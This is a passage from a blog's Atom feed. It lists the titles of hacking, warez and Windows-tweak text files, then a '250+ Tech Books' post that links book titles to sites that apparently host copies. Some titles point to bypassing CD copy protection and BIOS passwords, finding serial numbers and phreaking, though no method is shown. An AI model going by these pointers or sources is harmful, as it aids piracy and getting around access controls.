4.2).txt&lt;br /&gt;Theft of Computer Software-A National Security Threat.txt&lt;br /&gt;Thoughts on the National Research and Education Network.txt&lt;br /&gt;Three Ways Of Bypass Starforce Cd Protection.txt&lt;br /&gt;Tip for shutdown windows - virus.txt&lt;br /&gt;Tips And Tricks, Windows XP.txt&lt;br /&gt;Tips on Starting Your Own BBS.1&lt;br /&gt;Tired Of Reinstalling Windows.txt&lt;br /&gt;To Get And Show The Ip Via Javascript.txt&lt;br /&gt;Top 5 Myths About Safe Surfing, PC Magazine.txt&lt;br /&gt;Transferring Data.txt&lt;br /&gt;Translating Binary To Text.txt&lt;br /&gt;Translating Binary to Text2.txt&lt;br /&gt;Trojan Ports.txt&lt;br /&gt;Turn MSN Messenger Display Pix into User Pix on XP.txt&lt;br /&gt;Turn Off Unneeded Services, speed up pc.txt&lt;br /&gt;Tutorial  Get the serial number you need.txt&lt;br /&gt;Tutorial  How to create a bootable Windows XP SP1 CD (Nero).txt&lt;br /&gt;Tutorials - blacksun.box.sk&lt;br /&gt;Ultimate Google Way.txt&lt;br /&gt;ULTIMATE GUIDE TO BYPASS BIOS PASSWORDS!.txt&lt;br /&gt;Understanding the Telephone System.txt&lt;br /&gt;undocumented DOS commands.txt&lt;br /&gt;Uninstall Windows Xp And Return To My Old Windows.txt&lt;br /&gt;Uninstalling Norton 2004 Products.txt&lt;br /&gt;UNIX Computer Security Checklist.0&lt;br /&gt;UNIX Use and Security - By the Prophet.txt&lt;br /&gt;UNIX Use and Security From The Ground Up.htm&lt;br /&gt;UNIX- A Hacking Tutorial.SIR&lt;br /&gt;Unlimited Rapidshare Downloads.txt&lt;br /&gt;Untold Window Tips.txt&lt;br /&gt;Untold Windows Secrets.txt&lt;br /&gt;Untold Windows Tips.txt&lt;br /&gt;Unused space on hard drives recovered.txt&lt;br /&gt;Use Hotkeys To Switch Programs.txt&lt;br /&gt;Useful Download Guide, Fix Down,  0daycn Ttdown, Links.txt&lt;br /&gt;User's Guide To Avoiding Virus Infections, Keeping an eye out for viruses.txt&lt;br /&gt;Using Google As A Calculator, A Tutorial.txt&lt;br /&gt;Using Google for searching ebooks.txt&lt;br /&gt;Using Rapid Share, How to use them and skip the BS.txt&lt;br /&gt;Video Avatars.txt&lt;br /&gt;Viewing Leftover Driver Entries.txt&lt;br /&gt;Virtual Memory Information.txt&lt;br /&gt;Virtual Memory Optimization Guide Rev. 4.0 - Final.txt&lt;br /&gt;Viruii FAQ.txt&lt;br /&gt;Virus-Trojan FAQ.txt&lt;br /&gt;Want To Download Torrent File By Using Google.txt&lt;br /&gt;Warez Definations.txt&lt;br /&gt;WAREZ DEFINITION.txt&lt;br /&gt;Way To Download From Brturbo, FireFox.txt&lt;br /&gt;We Don't Need No Education, Online classes made easy.txt&lt;br /&gt;Welcome to The king's meaning's of how to kick some-one's ASS!.txt&lt;br /&gt;What Files are Legal for Distribution on a BBS.txt&lt;br /&gt;What is the Registry.txt&lt;br /&gt;What Should I Do With Image Files.txt&lt;br /&gt;What To Look For In A Code Hacking Program.htm&lt;br /&gt;What To Look For In A Code Hacking Program.txt&lt;br /&gt;What You Should Know About Computer Viruses.DNA&lt;br /&gt;What You Wanted To Know About Movie Jargon, But Were Afraid To Ask.txt&lt;br /&gt;When Good Discs Go Bad.txt&lt;br /&gt;Where Is Winipcfg In Winxp.txt&lt;br /&gt;Who's Seeding The Net With Spyware.txt&lt;br /&gt;Why wait 35 Seconds at eZshare.txt&lt;br /&gt;Win 2000 Dr. Watsson.txt&lt;br /&gt;Windows 2000 Tips &amp; Tricks.txt&lt;br /&gt;Windows 2003 System Restore, How to activate system restore in W2K3.txt&lt;br /&gt;Windows Scan Count Down Time.txt&lt;br /&gt;Windows Shortcuts.txt&lt;br /&gt;WINDOWS TRUE HIDDEN FILES.txt&lt;br /&gt;Windows Tweak, Hack Your Start Button.txt&lt;br /&gt;Windows Xp - Speed Up Your Network and Internet Access.txt&lt;br /&gt;WINDOWS XP HIDDEN APPS.txt&lt;br /&gt;Windows XP Registry Tweaks.txt&lt;br /&gt;Windows XP Startup and Performance Tweaks.txt&lt;br /&gt;Windows Xp Tips 'n' Tricks.txt&lt;br /&gt;Windows Xp Tweaks, A work in progress.txt&lt;br /&gt;Windows XP Tweaks.txt&lt;br /&gt;WinRar Tutorial - Compression profiles, passwords and more.txt&lt;br /&gt;Winsock 2 Repair.txt&lt;br /&gt;WinXP 3 Tips.txt&lt;br /&gt;Winxp Application Defrag, faster access for used programs.txt&lt;br /&gt;Winxp Applications Startup Time, Decrease your Applications startup time.txt&lt;br /&gt;WinXP Bootable CD.txt&lt;br /&gt;Winxp System Response, reboot whitout rebooting.txt&lt;br /&gt;Winxp Tips And Tricks, Winsock 2 repair.txt&lt;br /&gt;Xp Auto Install.txt&lt;br /&gt;Xp Folder View Does Not Stay To You're Setting., Grab your registry editor and join in.txt&lt;br /&gt;XP REPAIR INSTALL.txt&lt;br /&gt;XP Tweaking.txt&lt;br /&gt;Yahoo + geocities Posts.txt&lt;br /&gt;Yahoo Chat Commands how to.rtf&lt;br /&gt;Yahoo Messeger, no ad's.txt&lt;br /&gt;You Want Lots Of Music, Appz, Anything, Try Dex Hunting.txt&lt;br /&gt;Your Home Page Nevr Being Changed.txt&lt;br /&gt;Your Own Home Server - Introduction.txt&lt;br /&gt;Zen and the Art of Fone Phreaking `97 .txt&lt;br /&gt;[PHP] Navigations.txt&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1600577931686774058-376169750235549705?l=200hacking-tutorial.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/D2W4U3AhXcDZa6PPe3cMMNziNd4/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/D2W4U3AhXcDZa6PPe3cMMNziNd4/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/D2W4U3AhXcDZa6PPe3cMMNziNd4/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/D2W4U3AhXcDZa6PPe3cMMNziNd4/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/200HackingTutorial/~4/wGnZ89yLx_0" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://200hacking-tutorial.blogspot.com/feeds/376169750235549705/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://200hacking-tutorial.blogspot.com/2009/11/123456789.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/376169750235549705?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/1600577931686774058/posts/default/376169750235549705?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/200HackingTutorial/~3/wGnZ89yLx_0/123456789.html" title="123456789" /><author><name>EDIDIONG</name><uri>http://www.blogger.com/profile/12177228070157737970</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://200hacking-tutorial.blogspot.com/2009/11/123456789.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEYHQn84eCp7ImA9WxNUEkk.&quot;"><id>tag:blogger.com,1999:blog-1600577931686774058.post-570105083268918807</id><published>2009-11-03T01:20:00.000-08:00</published><updated>2009-11-03T01:55:33.130-08:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-11-03T01:55:33.130-08:00</app:edited><title>250+ Tech Books</title><content type="html">1&lt;br /&gt;10 minute guide to lotus notes mail 4.5&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;2&lt;br /&gt;10 minute guide to Microsoft exchange 5.0&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;3&lt;br /&gt;10 minute guide to outlook 97&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;4&lt;br /&gt;10 minute guide to schedule+ for windows 95&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;5&lt;br /&gt;ActiveX programming unleashed&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;6&lt;br /&gt;ActiveX programming unleashed&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;7&lt;br /&gt;Advanced perl programming&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;8&lt;br /&gt;Advanced PL/SQL programming with packages&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;9&lt;br /&gt;Adventure in Prolog/AMZI&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;10&lt;br /&gt;Algorithms CMSC251/Mount, David&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;11&lt;br /&gt;Alison Balter's Mastering Access 95 development, premier ed.&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;12&lt;br /&gt;Apache : The definitive guide, 3rd.ed.&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;13&lt;br /&gt;Beej's guide to network programming/Hall, Brain&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;14&lt;br /&gt;Beyond Linux from Scratch/BLFS Development Team&lt;br /&gt;http://book.onairweb.net/computer/os/linux/Administration/Beyond_Linux_From_Scratch/&lt;br /&gt;&lt;br /&gt;15&lt;br /&gt;Borland C++ builder unleashed&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;16&lt;br /&gt;Building an intranet with windows NT 4&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;17&lt;br /&gt;Building an Intranet with Windows NT 4&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;18&lt;br /&gt;Building expert systems in prolog/AMZI&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;19&lt;br /&gt;C programming language&lt;br /&gt;http://book.onairweb.net/computer/pl/C/The_C_Programming_Language_by_K&amp;R/&lt;br /&gt;&lt;br /&gt;20&lt;br /&gt;C Programming/Holmes, Steven&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;21&lt;br /&gt;C++ Annotations&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;22&lt;br /&gt;CGI developer's guide&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;23&lt;br /&gt;CGI manual of style&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;24&lt;br /&gt;CGI manual of style online&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;25&lt;br /&gt;CGI programming&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;26&lt;br /&gt;CGI programming unleashed&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;27&lt;br /&gt;CGI programming with Perl, 2nd.ed.&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;28&lt;br /&gt;Charlie Calvert's Borland C++ builder unleashed&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;29&lt;br /&gt;Client/server computing, 2nd.ed.&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;30&lt;br /&gt;Client-server computing, 2nd.ed.&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;31&lt;br /&gt;Common LISP, the language/Steele, Guy&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;32&lt;br /&gt;Compilers and compiler generators : an introduction with C++/Terry, P.D.&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;33&lt;br /&gt;Complete idiot's guide to creating HTML webpage&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;34&lt;br /&gt;Computer graphics CMSC 427/Mount, David&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;35&lt;br /&gt;Configuring and troubleshooting the windows NT/95 registry&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;36&lt;br /&gt;Creating commercial websites&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;37&lt;br /&gt;Creating web applets with Java&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;38&lt;br /&gt;Crystal Reports.NET&lt;br /&gt;http://www.crystalreportsbook.com/Chapters.asp&lt;br /&gt;&lt;br /&gt;39&lt;br /&gt;Curious about the internet&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;40&lt;br /&gt;Curious about the internet?&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;41&lt;br /&gt;Dan appleman's developing activeX components with Visual Basic 5&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;42&lt;br /&gt;Dan appleman's developing activex components with Visual Basic 5.0&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;43&lt;br /&gt;Data structures CMSC420/Mount, David&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;44&lt;br /&gt;Database developer's guide with visual basic 4, 2nd.ed.&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;45&lt;br /&gt;Database developer's guide with Visual Basic 4, 2nd.ed.&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;46&lt;br /&gt;Database developer's guide with Visual C++ 4, 2nd.ed.&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;47&lt;br /&gt;Database developer's guide with Visual C++ 4, 2nd.ed.&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;48&lt;br /&gt;Design and analysis of computer algorithms CMSC451/Mount, David&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;49&lt;br /&gt;Designing implementing Microsoft internet information server&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;50&lt;br /&gt;Designing implementing Microsoft proxy server&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;51&lt;br /&gt;Developing for netscape one&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;52&lt;br /&gt;Developing intranet applications with java&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;53&lt;br /&gt;Developing personal oracle 7 for windows 95 applications&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;54&lt;br /&gt;Developing personal Oracle 7 for windows 95 applications&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;55&lt;br /&gt;Developing professional java applets&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;56&lt;br /&gt;Developing professional java applets&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;57&lt;br /&gt;DNS and BIND&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;58&lt;br /&gt;Doing objects with VB.NET and C#&lt;br /&gt;http://vbwire.com/nl?6814&lt;br /&gt;&lt;br /&gt;59&lt;br /&gt;EAI/BPM Evaluation Series: IBM WebSphere MQ Workflow v3.3.2 &amp; EAI Suite by&lt;br /&gt;&gt; Middleware Technology Evaluation Series, Phong Tran &amp; Jeffrey Gosper&lt;br /&gt;http://www.cmis.csiro.au/mte/reports/BPM_IBMwebsphereMQ332.htm&lt;br /&gt;&lt;br /&gt;60&lt;br /&gt;Effective AWK programming&lt;br /&gt;http://book.onairweb.net/computer/os/shell/Effective_AWK_Programming/&lt;br /&gt;&lt;br /&gt;61&lt;br /&gt;Enterprise javabeans, 2nd.ed.&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;62&lt;br /&gt;Exploring java&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;63&lt;br /&gt;GNOME/Sheets, John&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;64&lt;br /&gt;Graph theory/Prof. Even&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;65&lt;br /&gt;Hacking java&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;66&lt;br /&gt;How intranets work&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;67&lt;br /&gt;How intranets work&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;68&lt;br /&gt;How to program visual basic 5.0&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;69&lt;br /&gt;How to use HTML 3.2&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;70&lt;br /&gt;Html : The definitive guide&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;71&lt;br /&gt;HTML 3.2 &amp; CGI unleashed&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;72&lt;br /&gt;HTML 3.2 and CGI professional reference edition unleashed&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;73&lt;br /&gt;HTML by example&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;74&lt;br /&gt;Internet firewall&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;75&lt;br /&gt;Intranets unleashed&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;76&lt;br /&gt;Introduction to object-oriented programming using C++/Muller, Peter&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;77&lt;br /&gt;Introduction to programming using Java/Eck, David&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;78&lt;br /&gt;Introduction to socket programming&lt;br /&gt;http://book.onairweb.net/computer/network/An_Introduction_to_Socket_Programming/&lt;br /&gt;&lt;br /&gt;79&lt;br /&gt;Java 1.1 unleashed&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;80&lt;br /&gt;Java 1.1 unleashed, 2nd.ed.&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;81&lt;br /&gt;Java 1.1 unleashed, 3rd.ed.&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;82&lt;br /&gt;Java 114 documentation&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;83&lt;br /&gt;Java AWT reference&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;84&lt;br /&gt;Java by example&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;85&lt;br /&gt;Java developer's guide&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;86&lt;br /&gt;Java developer's guide&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;87&lt;br /&gt;Java developer's reference&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;88&lt;br /&gt;Java developer's reference&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;89&lt;br /&gt;Java Distributed computing&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;90&lt;br /&gt;Java enterprise&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;91&lt;br /&gt;Java enterprise in a nutshell&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;92&lt;br /&gt;Java foundation classes in a nutshell&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;93&lt;br /&gt;Java fundamental classes reference&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;94&lt;br /&gt;Java in a nutshell&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;95&lt;br /&gt;Java in a nutshell, 3rd.ed.&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;96&lt;br /&gt;Java language reference&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;97&lt;br /&gt;Java security&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;98&lt;br /&gt;Java servlet programming&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;99&lt;br /&gt;Java unleashed&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;100&lt;br /&gt;Java unleashed&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;101&lt;br /&gt;Java, 2nd.ed.&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;102&lt;br /&gt;_JavaScript : the definitive guide&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;103&lt;br /&gt;_Javascript manual of style&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;104&lt;br /&gt;_Javascript manual of style&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;105&lt;br /&gt;Josh's GNU Linux Guide/Joshua&lt;br /&gt;http://book.onairweb.net/computer/os/linux/Administration/Josh's_GNU_Linux_Guide/&lt;br /&gt;&lt;br /&gt;106&lt;br /&gt;Late night activex&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;107&lt;br /&gt;Late night activeX&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;108&lt;br /&gt;Laura lemay's 3D graphics in and VRML 2&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;109&lt;br /&gt;Laura lemay's activex and _VBScript&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;110&lt;br /&gt;Laura lemay's graphics and web page design&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;111&lt;br /&gt;Laura lemay's guide to sizzling websites design&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;112&lt;br /&gt;Laura lemay's _javascript 1.1&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;113&lt;br /&gt;Laura lemay's web workshop activex and _VBScript&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;114&lt;br /&gt;Laura lemay's web workshop Graphics web page design&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;115&lt;br /&gt;Laura lemay's web workshop _javascript&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;116&lt;br /&gt;Learning perl&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;117&lt;br /&gt;Learning perl on win32&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;118&lt;br /&gt;Learning the kornshell&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;119&lt;br /&gt;Learning unix&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;120&lt;br /&gt;Learning vi&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;121&lt;br /&gt;Linux from Scratch/Beekmans, Gerard&lt;br /&gt;http://book.onairweb.net/computer/os/linux/Administration/Linux_From_Scratch/&lt;br /&gt;&lt;br /&gt;122&lt;br /&gt;Linux in a nutshell, 3rd.ed.&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;123&lt;br /&gt;Linux kernel/Rusling, David&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;124&lt;br /&gt;Linux network administrator's guide/Dawson, Terry&lt;br /&gt;www.oopweb.com&lt;br /&gt;&lt;br /&gt;125&lt;br /&gt;Linux system administrator's survival guide&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;126&lt;br /&gt;MAPI, SAPI and TAPI developer's guide&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;127&lt;br /&gt;Mastering access 95 development&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;128&lt;br /&gt;Microsoft access 97 quick reference&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;129&lt;br /&gt;Microsoft access 97 quick reference&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;130&lt;br /&gt;Microsoft backoffice 2 unleashed&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;131&lt;br /&gt;Microsoft excel 97 quick reference&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;132&lt;br /&gt;Microsoft excel 97 quick reference&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;133&lt;br /&gt;Microsoft exchange server survival guide&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;134&lt;br /&gt;Microsoft frontpage unleashed&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;135&lt;br /&gt;Microsoft word 97 quick reference&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;136&lt;br /&gt;Microsoft word 97 quick reference&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;137&lt;br /&gt;Microsoft works 4.5 6-In-1&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;138&lt;br /&gt;More than 100 full-text e-books&lt;br /&gt;http://www.allfreetech.com/EBookCategory.asp&lt;br /&gt;&lt;br /&gt;139&lt;br /&gt;Ms backoffice administrator's survival guide&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;140&lt;br /&gt;Ms backoffice unleashed&lt;br /&gt;http://www.emu.edu.tr/english/facilitiesservices/computercenter/bookslib/&lt;br /&gt;&lt;br /&gt;141&lt;br /&gt;Mysql and msql&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;142&lt;br /&gt;Netscape plug-ins developer's kit&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;143&lt;br /&gt;Official gamelan java directory&lt;br /&gt;http://www.parsian.net/set1252/pages/books.htm&lt;br /&gt;&lt;br /&gt;144&lt;br /&gt;Oracle built-in packages&lt;br /&gt;http://www.hk8.org/old_web/&lt;br /&gt;&lt;br /&gt;145&lt;br /&gt;Oracle PL/SQL built-in pocket reference&lt;br /&gt;http://www.hk8.org/old_web/&lt;br 